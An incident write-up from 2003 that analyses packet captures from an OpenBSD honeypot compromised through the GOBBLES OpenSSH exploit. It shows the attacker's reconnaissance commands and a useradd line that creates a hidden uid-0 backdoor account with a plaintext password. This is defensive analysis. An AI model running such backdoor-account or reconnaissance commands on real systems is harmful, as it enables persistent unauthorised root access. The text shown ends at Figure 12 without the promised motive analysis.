

# Intelligence Gathering: Watching a Honey pot at Work

*Toby Miller* 2003-01-10

The purpose of this article is share with the security community the data I collected from my honeypot. There are many papers available that explain how to set up honeypots and the risks one takes when running a honeypot. While this paper will briefly cover touch upon these topics, it is written for people who want to understand what data honeypot will provide them. This discussion will include the attacker's recon, the attack, the attempted cover-up, and the reason for the attack on the honeypot.

## The Honey pot Set-Up

The honeypot I was running at the time of the attack was an OpenBSD 3.1 machine (10.10.10.40). I had two machines in front of the honeypot. The first was my Linksys cable router. I configured the cable router to logically place all traffic in front of my DMZ (192.168.1.50). Once the router did that I had a Linux box running an [IPTables script](#) that the Honey net project has developed. As far as logging is concerned, I configured the honeypot to log to my remote log server. My remote log server was also used as my intrusion detection system. To make sure that my IDS would not be compromised by any holes in syslog, I shutdown all ports on the IDS/syslog server and ran the following commands:

- iptables -P INPUT DROP
- iptables -P FORWARD DROP
- iptables -P OUTPUT DROP

To ensure that I received all of my syslog entries I also ran TCPDUMP on my IDS. By doing this, I was guaranteed to receive my log entries.

## Time Lines

When I decided to run honeypots, I was curious how long each plain Jane operating system would hold up in the wild. I decided to run an OpenBSD 3.1 honeypot. Why? Well, I really like OpenBSD. I also wanted to see how long an OpenBSD machine with a vulnerable OpenSSH daemon service would last in the wild. Surprisingly, the OpenBSD machine with the vulnerable OpenSSH daemon service lasted about six weeks.

## Data

During the six weeks I monitored this honeypot, I saw many scans and some attempts to hack the box but most of them either failed or the attacker decided to back out for one reason or another. The first piece of real data that lead me to believe that my honeypot was being attacked was a three-way handshake coming from a machine with the IP address xxx.xxx.xxx.xxx. Let's take a look at the three-way handshake:

```
02:49:52.853164 xxx.xxx.xxx.xxx.3138 > 10.10.10.40.ssh: S [tcp sum ok]
1708551021:1708551021(0) win 32120 <mss 1460,sackOK,timestamp 54447281
0,nop,wscale 0> (DF) (ttl 45, id 2858, len 60)
0x0000  4500 003c 0b2a 4000 2d06 cb4e xxxx xxxx      E..<.*@.-..N...=
0x0010  0a0a 0a28 0c42 0016 65d6 6b6d 0000 0000      ...(.B..e.km....
0x0020  a002 7d78 a5bf 0000 0204 05b4 0402 080a      ..}x.....
0x0030  033e ccb1 0000 0000 0103 0300                .>.....
02:49:52.853164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.3138: S [tcp sum ok]
3211679389:3211679389(0) ack 1708551022 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 655960534 54447281>
(DF) (ttl 64, id 57381, len 64)
0x0000  4500 0040 e025 4000 4006 e34e 0a0a 0a28      E..@.%@.@..N...(
0x0010  xxxx xxxx 0016 0c42 bf6e 569d 65d6 6b6e      ...=...B.nV.e.kn
0x0020  b012 43e0 6645 0000 0204 05b4 0101 0402      ..C.fE.....
0x0030  0103 0300 0101 080a 2719 29d6 033e ccb1\     .....'.)...>..
02:49:53.093164 xxx.xxx.xxx.xxx.3138 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 1 win 32120 <nop,nop,timestamp 54447323 655960534>(DF) (ttl
45, id 4007, len 52)
0x0000  4500 0034 0fa7 4000 2d06 c6d9 xxxx xxxx      E..4..@.-.....=
0x0010  0a0a 0a28 0c42 0016 65d6 6b6e bf6e 569e      ...(.B..e.kn.nV.
0x0020  8010 7d78 6d4e 0000 0101 080a 033e ccdb      ..}xmN.....>..
0x0030  2719 29d6                                  '.)..
```

**Figure 1: Initial connection to SSH**

Whenever I look at any packet, the first I try to do is to determine what operating system the packet originated from. Why? Well, for starters, it provides me with an idea of what I am going up against. I am currently working on a [project](#) that rates the skill level of the attacker. One of

the items that the model looks at is the attackers operating system. (While, there has been some debate about whether or not an operating system can help determine the skill level of an attacker, that is perhaps best saved for another paper.)

By looking at Figure 1 we can come away with some important data about the attacker. The first piece of data we come away with is that he seems to be using a Linux machine in this particular scan. How did I reach that conclusion? Well, let's begin by looking at some key fields in the TCP/IP header. The first thing we want to look at is the total length field; in the initial SYN we see that length is 60 bytes. That is typical of a Linux kernel but we need more evidence in order to positively confirm that the attacking machine is indeed a Linux machine. We can do that by looking at other fields in the TCP/IP header field. The next field we will want to look at is the TCP Options field(s). We see that in the initial SYN the attacker sets his maximum segment size (MSS), sackOK, wscale, timestamp and nop. This trait is also common among Linux machines. (If you want to read more on Passive OS Fingerprinting checkout my paper on [Passive OS Fingerprinting](#) or the HoneyNet Project's paper [Know Your Enemy: Passive Fingerprinting](#).)

From the initial three-way handshake we have determined that our attacker is probably using a Linux Operating system. Now we are going to move on and take a look at the next series of packet(s):

```
02:49:56.493164 xxx.xxx.xxx.xxx.1153 > 10.10.10.40.ssh: P [tcp sum ok]
1:29(28) ack 22 win 32120 <nop,nop,timestamp 54447663 655960541> (DF)
(ttl 45, id 6952, len 80)
0x0000  4500 0050 1b28 4000 2d06 bb3c xxxx xxxx      E..P.(@.-.<...=
0x0010  0a0a 0a28 0481 0016 6618 d792 d4ec 634d      ...(. ....f.....cM
0x0020  8018 7d78 7e82 0000 0101 080a 033e ce2f      ..}x~.....>./
0x0030  2719 29dd 5353 482d 312e 302d 5353 485f      '.) .SSH-1.0-SSH_
0x0040  5665 7273 696f 6e5f 4d61 7070 6572 0a00      Version Mapper..
```

## Figure 2: ScanSSH

Figure 2 is a PUSH packet that is sending 28 bytes of payload data to my honeypot. Looking at the payload in Figure 2, we can see that the attacker is using some kind of scanner to scan for SSH. Identifying the scanner was not difficult, simply enter "SSH-1.0-SSH\_Version Mapper" into [Google](#) and it should come up with a link to a scanner called [ScanSSH](#). The use of this

scanner seemed to increase after the [vulnerability related to OpenSSH](#) was released to the public.

```
02:49:56.493164 xxx.xxx.xxx.xxx.1153 > 10.10.10.40.ssh: F [tcp sum ok]
29:29(0) ack 22 win 32120 <nop,nop,timestamp 54447663 655960541> (DF)
(ttl 45, id 6953, len 52)
0x0000 4500 0034 1b29 4000 2d06 bb57 d5d4 8d3d E..4.)@.-..W...=
0x0010 xxxx xxxx 0481 0016 6618 d7ae d4ec 634d ...(.f....cM
0x0020 8011 7d78 e503 0000 0101 080a 033e ce2f ..}x.....>./
0x0030 2719 29dd '.)
02:49:56.493164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1153: . [tcp sum ok]
22:22(0) ack 30 win 17375 <nop,nop,timestamp 655960541 54447663> (DF)
(ttl 64, id 62665, len 52)
0x0000 4500 0034 f4c9 4000 4006 ceb6 0a0a 0a28 E..4..@.@.....(
0x0010 xxxx xxxx 0016 0481 d4ec 634d 6618 d7af ...=.....cMf...
0x0020 8010 43df 1e9d 0000 0101 080a 2719 29dd ..C.....'.)
0x0030 033e ce2f .>./
02:49:56.503164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1153: F [tcp sum ok]
22:22(0) ack 30 win 17375 <nop,nop,timestamp 655960541 54447663> (DF)
(ttl 64, id 35676, len 52)
0x0000 4500 0034 8b5c 4000 4006 3824 0a0a 0a28 E..4.\@.@.8$...(
0x0010 xxxx xxxx 0016 0481 d4ec 634d 6618 d7af ...=.....cMf...
0x0020 8011 43df 1e9c 0000 0101 080a 2719 29dd ..C.....'.)
0x0030 033e ce2f .>./
```

### Figure 3: Terminating the connection

Figure 3 shows us that the attacker has grabbed the version and is now terminating the connection. This type of behavior was not particularly remarkable; however, I then noticed that my attacker had made another connection to my honeypot. Figure 4. shows us the three-way handshake:

```
02:49:56.503164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: S [tcp sum ok]
1719373202:1719373202(0) win 32120 <mss 1460,sackOK,timestamp 54447664
0,nop,wscale 0> (DF) (ttl 45, id 6954, len 60)
0x0000 4500 003c 1b2a 4000 2d06 bb4e xxxx xxxx E..<.*@.-..N...=
```

```

0x0010  0a0a 0a28 0482 0016 667b 8d92 0000 0000      ...(. ....f{.....
0x0020  a002 7d78 8936 0000 0204 05b4 0402 080a      ..}x.6.....
0x0030  033e ce30 0000 0000 0103 0300                .>.0.....
02:49:56.503164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: S [tcp sum ok]
3116179007:3116179007(0) ack 1719373203 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 655960541 54447664> (DF)
(ttl 64, id 37534, len 64)
0x0000  4500 0040 929e 4000 4006 30d6 0a0a 0a28      E..@..@.@.0....(
0x0010  xxxx xxxx 0016 0482 b9bd 1e3f 667b 8d93      ...=.....?f{..
0x0020  b012 43e0 87c4 0000 0204 05b4 0101 0402      ..C.....
0x0030  0103 0300 0101 080a 2719 29dd 033e ce30      .....').>.0
02:49:56.703164 xxx.xxx.xxx.xxx.1153 > 10.10.10.40.ssh: . [tcp sum ok]
30:30(0) ack 23 win 32120 <nop,nop,timestamp 54447684 655960541>(DF)
(ttl 45, id 6957, len 52)
0x0000  4500 0034 1b2d 4000 2d06 bb53 xxxx xxxx      E..4.-@.-..S...=
0x0010  0a0a 0a28 0481 0016 6618 d7af d4ec 634e      ...(. ....f.....cN
0x0020  8010 7d78 e4ed 0000 0101 080a 033e ce44      ..}x.....>.D
0x0030  2719 29dd                                      '.)

```

**Figure 4: The reconnection**

Figure 4 shows us the reconnection the attacker made back to my honeypot. Until now I have had many IP addresses scan me multiple times and then turn around and run for cover, this attacker had other things in mind. In figure 5 we see that our attacker decides he is going to try and exploit the SSH daemon on my honeypot:

```

02:49:59.933164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: P [tcp sum ok]
1:17(16) ack 22 win 32120 <nop,nop,timestamp 54448006 655960542> (DF)
(ttl 45, id 10698, len 68)
0x0000  4500 0044 29ca 4000 2d06 aca6 xxxx xxxx      E..D).@.-.....=
0x0010  0a0a 0a28 0482 0016 667b 8d93 b9bd 1e55      ...(. ....f{.....U
0x0020  8018 7d78 66b6 0000 0101 080a 033e cf86      ..}xf.....>..
0x0030  2719 29de 5353 482d 322e 302d 474f 4242      '.)..SSH-2.0-GOBB
0x0040  4c45 530a                                      LES.
02:49:59.933164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: . [tcp sum ok]
22:22(0) ack 17 win 17361 <nop,nop,timestamp 655960548 54448006> (DF)

```

```
(ttl 64, id 43449, len 52)
0x0000 4500 0034 a9b9 4000 4006 19c7 0a0a 0a28 E..4..@.@.....(
0x0010 xxxx xxxx 0016 0482 b9bd 1e55 667b 8da3 ...=.....Uf{..
0x0020 8010 43d1 c71c 0000 0101 080a 2719 29e4 ..C.....').).
0x0030 033e cf86 .>..
```

```
02:49:59.953164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: P [tcp sum ok]
22:662(640) ack 17 win 17376 <nop,nop,timestamp 655960548 54448006> (DF)
```

```
(ttl 64, id 40938, len 692)
0x0000 4500 02b4 9fea 4000 4006 2116 0a0a 0a28 E.....@.@.!.....(
0x0010 xxxx xxxx 0016 0482 b9bd 1e55 667b 8da3 ...=.....Uf{..
0x0020 8018 43e0 556f 0000 0101 080a 2719 29e4 ..C.Uo.....').).
0x0030 033e cf86 0000 027c 0914 e530 663c 2dd7 .>.....|...0f<-..
0x0040 34f1 90bb 051f 8fe5 cf51 0000 003d 6469 4.....Q...=di
0x0050 6666 6965 2d68 656c 6c6d 616e 2d67 726f ffie-hellman-gro
0x0060 7570 2d65 7863 6861 6e67 652d 7368 6131 up-exchange-sha1
0x0070 2c64 6966 6669 652d 6865 6c6c 6d61 6e2d ,diffie-hellman-
0x0080 6772 6f75 7031 2d73 6861 3100 0000 0f73 group1-sha1....s
0x0090 7368 2d72 7361 2c73 7368 2d64 7373 0000 sh-rsa,ssh-dss..
0x00a0 0096 6165 7331 3238 2d63 6263 2c33 6465 ..aes128-cbc,3de
0x00b0 732d 6362 632c 626c 6f77 6669 7368 2d63 s-cbc,blowfish-c
0x00c0 6263 2c63 6173 7431 3238 2d63 6263 2c61 bc,cast128-cbc,a
0x00d0 7263 666f 7572 2c61 6573 3139 322d 6362 rcfour,aes192-cb
0x00e0 632c 6165 7332 3536 2d63 6263 2c72 696a c,aes256-cbc,rij
0x00f0 6e64 6165 6c31 3238 2d63 6263 2c72 696a ndael128-cbc,rij
0x0100 6e64 6165 6c31 3932 2d63 6263 2c72 696a ndael192-cbc,rij
0x0110 6e64 6165 6c32 3536 2d63 6263 2c72 696a ndael256-cbc,rij
0x0120 6e64 6165 6c2d 6362 6340 6c79 7361 746f ndael-cbc@lysato
0x0130 722e 6c69 752e 7365 0000 0096 6165 7331 r.liu.se....aes1
0x0140 3238 2d63 6263 2c33 6465 732d 6362 632c 28-cbc,3des-cbc,
0x0150 626c 6f77 6669 7368 2d63 6263 2c63 6173 blowfish-cbc,cas
0x0160 7431 3238 2d63 6263 2c61 7263 666f 7572 t128-cbc,arcfour
0x0170 2c61 6573 3139 322d 6362 632c 6165 7332 ,aes192-cbc,aes2
0x0180 3536 2d63 6263 2c72 696a 6e64 6165 6c31 56-cbc,rijndael1
0x0190 3238 2d63 6263 2c72 696a 6e64 6165 6c31 28-cbc,rijndael1
0x01a0 3932 2d63 6263 2c72 696a 6e64 6165 6c32 92-cbc,rijndael2
0x01b0 3536 2d63 6263 2c72 696a 6e64 6165 6c2d 56-cbc,rijndael-
```

```

0x01c0    6362 6340 6c79 7361 746f 722e 6c69 752e    cbc@lysator.liu.
0x01d0    7365 0000 0055 686d 6163 2d6d 6435 2c68    se...U hmac-md5,h
0x01e0    6d61 632d 7368 6131 2c68 6d61 632d 7269    mac-sha1,hmac-ri
0x01f0    7065 6d64 3136 302c 686d 6163 2d72 6970    pemd160,hmac-rip
0x0200    656d 6431 3630 406f 7065 6e73 7368 2e63    emd160@openssh.c
0x0210    6f6d 2c68 6d61 632d 7368 6131 2d39 362c    om,hmac-sha1-96,
0x0220    686d 6163 2d6d 6435 2d39 3600 0000 5568    hmac-md5-96...Uh
0x0230    6d61 632d 6d64 352c 686d 6163 2d73 6861    mac-md5,hmac-sha
0x0240    312c 686d 6163 2d72 6970 656d 6431 3630    1,hmac-ripemd160
0x0250    2c68 6d61 632d 7269 7065 6d64 3136 3040    ,hmac-ripemd160@
0x0260    6f70 656e 7373 682e 636f 6d2c 686d 6163    openssh.com,hmac
0x0270    2d73 6861 312d 3936 2c68 6d61 632d 6d64    -sha1-96,hmac-md
0x0280    352d 3936 0000 0009 6e6f 6e65 2c7a 6c69    5-96....none,zli
0x0290    6200 0000 096e 6f6e 652c 7a6c 6962 0000    b....none,zlib..
0x02a0    0000 0000 0000 0000 0000 0000 0000 0000    .....
0x02b0    0000 0000    ....

```

**Figure 5: The attack**

The great thing about a honeypot is that you never know what service may be hacked. When my SSHD daemon was hacked it was not a surprise since the OpenSSH vulnerabilities had been published only two months earlier. What did surprise me was that it took six weeks for someone to exploit it.

Let's take a look at figure 5 and try and learn from these packets. Let's start by looking at the first PUSH packet. The packet is 68-bytes long. It also tells us that the exploit the attacker is running against my honeypot is the SSH-2.0 GOBBLES exploit. Understanding the exploit is key to our analysis as well. Why? Because now we can go to a Web site such as [packetstorm.linuxsecurity.com](http://packetstorm.linuxsecurity.com) and take a look at the exploit to see how it works.

Up until this time we have looked at just TCP traffic, let's start looking at the syslog traffic coming from the honeypot. The first packet from my syslog server is shown in the following figure:

```

02:50:56.203164 10.10.10.40.syslog > 10.10.10.70.syslog: [udp sum ok]
udp 85 (ttl 64, id 10463, len 113)

```

```

0x0000  4500 0071 28df 0000 4011 291c 0a0a 0a28      E..q(...@.)....(
0x0010  0a0a 0a46 0202 0202 005d ae8b 3c33 343e      ...F.....]..<34>
0x0020  4175 6720 3139 2030 333a 3137 3a30 3720      Aug.19.03:17:07.
0x0030  7373 6864 5b32 3432 3636 5d3a 2066 6174      sshd[24266]:.fat
0x0040  616c 3a20 5265 6365 6976 6564 2070 6163      al:.Received.pac
0x0050  6b65 7420 7769 7468 2062 6164 2073 7472      ket.with.bad.str
0x0060  696e 6720 6c65 6e67 7468 2032 3633 3136      ing.length.26316
0x0070  38                                             8

```

### Figure 6: Syslog entry

The next figure, Figure 7, is where we can begin to really see that the attacker has actually captured root.

```

02:50:02.733164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: P [tcp sum ok]
20834:20846(12) ack 2050 win 32120 <nop,nop,timestamp 54448287
655960553> (DF) (ttl 45, id 13714, len 64)
0x0000  4500 0040 3592 4000 2d06 a0e2 xxxx xxxx      E..@5.@.-.....=
0x0010  0a0a 0a28 0482 0016 667b def4 b9bd 2641      ...(.f{...&A
0x0020  8018 7d78 2a35 0000 0101 080a 033e d09f      ..}x*5.....>..
0x0030  2719 29e9 756e 616d 6520 2d61 3b69 640a      '.).uname.-a;id.
02:50:02.763164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: P [tcp sum ok]
2059:2099(40) ack 20846 win 17376 <nop,nop,timestamp 655960553
54448289> (DF) (ttl 64, id 25839, len 92)
0x0000  4500 005c 64ef 4000 4006 5e69 0a0a 0a28      E..d.@.^i... (
0x0010  xxxx xxxx 0016 0482 b9bd 264a 667b df00      ...=.....&Jf{..
0x0020  8018 43e0 8efa 0000 0101 080a 2719 29e9      ..C.....'.).
0x0030  033e d0a1 4f70 656e 4253 4420 616c 6c69      .>..OpenBSD.alli
0x0040  6761 746f 7232 3520 332e 3020 4745 4e45      gator25.3.0.GENE
0x0050  5249 4323 3934 2069 3338 360a                RIC#94.i386.
02:50:02.953164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: P [tcp sum ok]
2099:2140(41) ack 20846 win 17376 <nop,nop,timestamp 655960554
54448309> (DF) (ttl 64, id 12215, len 93)
0x0000  4500 005d 2fb7 4000 4006 93a0 0a0a 0a28      E..]/.@.@..... (
0x0010  xxxx xxxx 0016 0482 b9bd 2672 667b df00      ...=.....&rf{..
0x0020  8018 43e0 13f0 0000 0101 080a 2719 29ea      ..C.....'.).

```

```

0x0030  033e d0b5 7569 643d 3028 726f 6f74 2920      .>..uid=0(root).
0x0040  6769 643d 3028 7768 6565 6c29 2067 726f      gid=0(wheel).gro
0x0050  7570 733d 3028 7768 6565 6c29 0a           ups=0(wheel).
02:50:30.333164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: P [tcp sum ok]
20846:20861(15) ack 2140 win 32120 <nop,nop,timestamp 54451047
655960554> (DF) (ttl 45, id 40767, len 67)
0x0000  4500 0043 9f3f 4000 2d06 3732 xxxx xxxx      E..C.?@.-.72...=
0x0010  0a0a 0a28 0482 0016 667b df00 b9bd 269b      ...(.f{...&.
0x0020  8018 7d78 8f3a 0000 0101 080a 033e db67      ..}x.:.....>.g
0x0030  2719 29ea 6361 7420 2f65 7463 2f68 6f73      '.).cat./etc/hos
0x0040  7473 0a           ts.
02:50:34.293164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: F [tcp sum ok]
20861:20861(0) ack 2197 win 32120 <nop,nop,timestamp 54451443
655960609> (DF) (ttl 45, id 43410, len 52)
0x0000  4500 0034 a992 4000 2d06 2cee xxxx xxxx      E..4..@.-.,....=
0x0010  0a0a 0a28 0482 0016 667b df0f b9bd 26d4      ...(.f{...&.
0x0020  8011 7d78 25df 0000 0101 080a 033e dcf3      ..}x%.....>..
0x0030  2719 2a21           '.*!

```

**Figure 7: The attacker decides to back out**

Just to clear up any confusion, figure 7 is not a complete trace. In the interest of saving space, I decided to cut and paste the important packets.

Let's look at the packets and try to make some sense out of them. The first packet in figure 7 shows us that the attacker is performing a `uname -a` (bolded in the payload of the packet). What does `uname -a` do? The `uname -a` command gives the attacker a lot of information about the targeted computer, such as the computer name, kernel version, processor, the operating system, and the hardware platform it is running on. All of this information is great when trying to attack computers. In the second packet we can see that the honeypot sent the attacker all of this information.

Finally, in the third packet we see that my honeypot gave our attacker root access. How do we know this? Well, on all of Unix systems I have worked on a UID or GID of 0 is root. We can see that being sent in the payload of the packet. After he receives root access our attacker checks out the `/etc/hosts` file and finds nothing of worth in that file.

## The Return

After the attacker departs in figure 7, I decide to keep my honeypot up and see if the attacker comes back. Figure 8 shows us that the attacker has decided to return:

```
02:33:56.403164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: S [tcp sum
ok]
1778029464:1778029464(0) win 32120 <mss 1460,sackOK,timestamp 90544
0,nop,wscale 0> (DF) (ttl 45, id 21880, len 60)
0x0000 4500 003c 5578 4000 2d06 8100 xxxx xxxx      E..<Ux@.-.....=
0x0010 0a0a 0a28 129e 0016 69fa 9398 0000 0000      ...(.i.....
0x0020 a002 7d78 e152 0000 0204 05b4 0402 080a      ..}x.R.....
0x0030 0001 61b0 0000 0000 0103 0300                ..a.....
02:33:56.403164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: S [tcp sum ok]
3530059345:3530059345(0) ack 1778029465 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 656131433 90544>
(DF) (ttl 64, id 3213, len 64)
0x0000 4500 0040 0c8d 4000 4006 b6e7 0a0a 0a28      E..@..@..@.....(
0x0010 xxxx xxxx 0016 129e d268 6e51 69fa 9399      ...=.....hnQi...
0x0020 b012 43e0 db94 0000 0204 05b4 0101 0402      ..C.....
0x0030 0103 0300 0101 080a 271b c569 0001 61b0      .....'.i..a.
02:33:56.633164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 1 win 32120 <nop,nop,timestamp 90567 656131433> (DF) (ttl
45, id 21883, len 52)
0x0000 4500 0034 557b 4000 2d06 8105 xxxx xxxx      E..4U{@.-.....=
0x0010 0a0a 0a28 129e 0016 69fa 9399 d268 6e52      ...(.i....hnR
0x0020 8010 7d78 e2b0 0000 0101 080a 0001 61c7      ..}x.....a.
0x0030 271b c569                                     '..i
02:33:56.633164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: P [tcp sum ok]
1:22(21) ack 1 win 17376 <nop,nop,timestamp 656131434 90567>(DF) (ttl
64, id 3128, len 73)
0x0000 4500 0049 0c38 4000 4006 b733 0a0a 0a28      E..I.8@..@..3... (
0x0010 xxxx xxxx 0016 129e d268 6e52 69fa 9399      ...=.....hnRi...
0x0020 8018 43e0 1f8f 0000 0101 080a 271b c56a      ..C.....'.j
0x0030 0001 61c7 5353 482d 312e 3939 2d4f 7065      ..a.SSH-1.99-Ope
```

```

0x0040    6e53 5348 5f33 2e30 0a                                nSSH_3.0.
02:33:56.813164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 22 win 32120 <nop,nop,timestamp 90586 656131434> (DF) (ttl
45, id 21884, len 52)
0x0000    4500 0034 557c 4000 2d06 8104 xxxx xxxx                E..4U|@.-.....=
0x0010    0a0a 0a28 129e 0016 69fa 9399 d268 6e67                ...(.i....hng
0x0020    8010 7d78 e287 0000 0101 080a 0001 61da                ..}x.....a.
0x0030    271b c56a                                                '..j
02:33:56.813164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: P [tcp sum ok]
1:17(16) ack 22 win 32120 <nop,nop,timestamp 90586 656131434>
(DF) (ttl
45, id 21885, len 68)
0x0000    4500 0044 557d 4000 2d06 80f3 xxxx xxxx                E..DU}@.-.....=
0x0010    0a0a 0a28 129e 0016 69fa 9399 d268 6e67                ...(.i....hng
0x0020    8018 7d78 bbb2 0000 0101 080a 0001 61da                ..}x.....a.
0x0030    271b c56a 5353 482d 322e 302d 474f 4242                '..jSSH-2.0-GOBB
0x0040    4c45 530a                                                LES.

```

### Figure 8: The connection

Figure 8 tells us that our attacker has been on my honeypot before. How? First of all, there is no scanning for sshd. Our attacker knew what service he wanted. In earlier attempts the attacker scanned to see what version of OpenSSH daemon we were running. Secondly, the attacker used the same exploit in this break-in as he did the night before. In other words, the attacker knew what he wanted and how to get it.

### The Cover-Up

Figure 9 shows us how the attacker covered his tracks after he exploited my honeypot:

```

uname -a;id
OpenBSD alligator25 3.0 GENERIC#94 i386
uid=0(root) gid=0(wheel) groups=0(wheel)
useradd -b /home/local -mov -g 0 -b /home -d /home/local -g 0 -u 0 -o
local
/home/local/.

```

```
/home/local/./.cshrc
/home/local/./.login
/home/local/./.mailrc
/home/local/./.profile
/home/local/./.rhosts
Command: /bin/mkdir -p /home/local
Command: cd /etc/skel; /bin/pax -rw -pe -v . /home/local
Command: /sbin/chown -R -P 0:0 /home/local
Command: /bin/chmod -R u+w /home/local
passwd local
New password:xeocage123
```

```
Retype new password:xeocage123
```

```
Changing local password for local.
```

### Figure 9: The cover-up

Figure 9 shows us how the attacker covered his tracks after he exploited the honeypot. Lets take a look at what he did after he broke in:

1. He created an local account called local;
2. He created a home directory called /home/local; and,
3. He set his "local" account password to xeoage123.

The password he used to create his "local" account tells us a lot about our attacker, as we will see later in this paper.

After the attacker creates his account and his directory, he decides to leave (again), he begins to tear down his connection with a FIN packet. From there you can watch TCP in action as it uses a four-way handshake to tear down the connection.

```
02:34:15.763164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: F [tcp sum ok]
20957:20957(0) ack 2507 win 32120 <nop,nop,timestamp 92479 656131468>
(DF) (ttl 45, id 26948, len 52)
0x0000 4500 0034 6944 4000 2d06 6d3c xxxx xxxx E..4iD@.-.m<...=
```

```

0x0010  0a0a 0a28 129e 0016 69fa e575 d268 781c      ...(. ....i..u.hx.
0x0020  8011 7d78 7f6e 0000 0101 080a 0001 693f      ..}x.n.....i?
0x0030  271b c58c                                          '...
02:34:15.763164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: . [tcp sum ok]
2507:2507(0) ack 20958 win 17376 <nop,nop,timestamp 656131472 92479>
(DF) (ttl 64, id 18844, len 52)
0x0000  4500 0034 499c 4000 4006 79e4 0a0a 0a28      E..4I.@.@.y....(
0x0010  xxxx xxxx 0016 129e d268 781c 69fa e576      ...=.....hx.i..v
0x0020  8010 43e0 b902 0000 0101 080a 271b c590      ..C.....'...
0x0030  0001 693f                                          ..i?
02:34:15.763164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: F [tcp sum ok]
2507:2507(0) ack 20958 win 17376 <nop,nop,timestamp 656131472 92479>
(DF) (ttl 64, id 32145, len 52)
0x0000  4500 0034 7d91 4000 4006 45ef 0a0a 0a28 E..4}.@.@.E....(
0x0010  xxxx xxxx 0016 129e d268 781c 69fa e576      ...=.....hx.i..v
0x0020  8011 43e0 b901 0000 0101 080a 271b c590      ..C.....'...
0x0030  0001 693f                                          ..i?
02:34:15.943164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: . [tcp sum ok]
20958:20958(0) ack 2508 win 32120 <nop,nop,timestamp 92499 656131472>
(DF) (ttl 45, id 26951, len 52)
0x0000  4500 0034 6947 4000 2d06 6d39 xxxx xxxx      E..4iG@.-.m9...=
0x0010  0a0a 0a28 129e 0016 69fa e576 d268 781d      ...(. ....i..v.hx.
0x0020  8010 7d78 7f55 0000 0101 080a 0001 6953      ..}x.U.....iS
0x0030  271b c590                                          '...

```

**Figure 10: The mad dash**

## The Re-Return

Again, the hacker takes almost 24 hours off and then comes back to visit my honeypot. Lets take a look at the connection:

```

19:41:09.363164 xxx.xxx.xxx.xxx.1015 > 10.10.10.40.ssh: S [tcp sum ok]
2429323267:2429323267(0) win 32120 <mss 1460,sackOK,timestamp 6254172
0,nop,wscale 0> (DF) (ttl 45, id 3444, len 60)
0x0000  4500 003c 0d74 4000 2d06 c904 xxxx xxxx      E..<.t@.-.....=

```

```

0x0010  0a0a 0a28 03f7 0016 90cc 8803 0000 0000      ...(.
0x0020  a002 7d78 c7b2 0000 0204 05b4 0402 080a      ..}x.
0x0030  005f 6e5c 0000 0000 0103 0300                ._n\
19:41:09.363164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1015: S [tcp sum ok]
3538232183:3538232183(0) ack 2429323268 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 656254708 6254172>
(DF) (ttl 64, id 31536, len 64)
0x0000  4500 0040 7b30 4000 4006 4844 0a0a 0a28      E..@{0@.@.HD...(
0x0010  xxxx xxxx 0016 03f7 d2e5 2377 90cc 8804      ...=.
0x0020  b012 43e0 2ac5 0000 0204 05b4 0101 0402      ..C.*.
0x0030  0103 0300 0101 080a 271d a6f4 005f 6e5c      .....'_n
19:41:09.553164 xxx.xxx.xxx.xxx.1015 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 1 win 32120 <nop,nop,timestamp 6254192 656254708> (DF) (ttl
45, id 3447, len 52)
0x0000  4500 0034 0d77 4000 2d06 c909 xxxx xxxx      E..4.w@.-.
0x0010  0a0a 0a28 03f7 0016 90cc 8804 d2e5 2378      ...(.
0x0020  8010 7d78 31e4 0000 0101 080a 005f 6e70      ..}x1.
0x0030  271d a6f4                                     '...

```

**Figure 11: Coming back for more**

Figure 11 shows us that our attacker has decided to come back. He makes his three-way handshake, and then I receive the following message from my honeypot:

```

19:41:14.543164 10.10.10.40.syslog > 10.10.10.70.syslog: [udp sum ok]
udp 89 (ttl 64, id 16921, len 117)
0x0000  4500 0075 4219 0000 4011 0fde 0a0a 0a28      E..uB...@.....(
0x0010  0a0a 0a46 0202 0202 0061 ff38 3c33 383e      ...F.....a.8<38>
0x0020  4175 6720 3139 2032 303a 3234 3a32 3620      Aug.19.20:24:26.
0x0030  7373 6864 5b32 3336 3739 5d3a 2041 6363      sshd[23679]:.Acc
0x0040  6570 7465 6420 7061 7373 776f 7264 2066      epted.password.f
0x0050  6f72 2052 4f4f 5420 6672 6f6d 2032 3133      or.ROOT.from.xxx
0x0060  2e32 3132 2e31 3431 2e36 3120 706f 7274      .xxx.xxx.xxx.port
0x0070  2031 3031 35                                  .1015

```

**Figure 12: Logging in**

